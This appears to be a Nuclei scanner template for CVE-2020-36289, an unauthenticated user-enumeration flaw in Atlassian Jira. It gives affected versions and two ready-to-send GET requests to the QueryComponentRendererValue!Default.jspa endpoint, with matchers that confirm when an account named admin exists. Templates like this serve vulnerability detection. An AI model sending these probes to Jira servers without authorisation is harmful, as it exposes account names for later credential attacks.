id: CVE-2020-36289

info:
  name: Atlassian Jira Unauth User Enumeration
  author: dhiyaneshDk
  severity: medium
  description: Affected versions of Atlassian Jira Server and Data Center allow an unauthenticated user to enumerate users via an Information Disclosure vulnerability in the QueryComponentRendererValue!Default.jspa endpoint. The affected versions are before version 8.5.13, from version 8.6.0 before 8.13.5, and from version 8.14.0 before 8.15.1.
  tags: cve,cve2020,jira,atlassian
  reference: |
      - https://twitter.com/ptswarm/status/1402644004781633540
      - https://nvd.nist.gov/vuln/detail/CVE-2020-36289

requests:
  - method: GET
    path:
      - '{{BaseURL}}/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'
      - '{{BaseURL}}/jira/secure/QueryComponentRendererValue!Default.jspa?assignee=user:admin'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'rel=\"admin\"'

      - type: word
        words:
          - 'application/json'
        part: header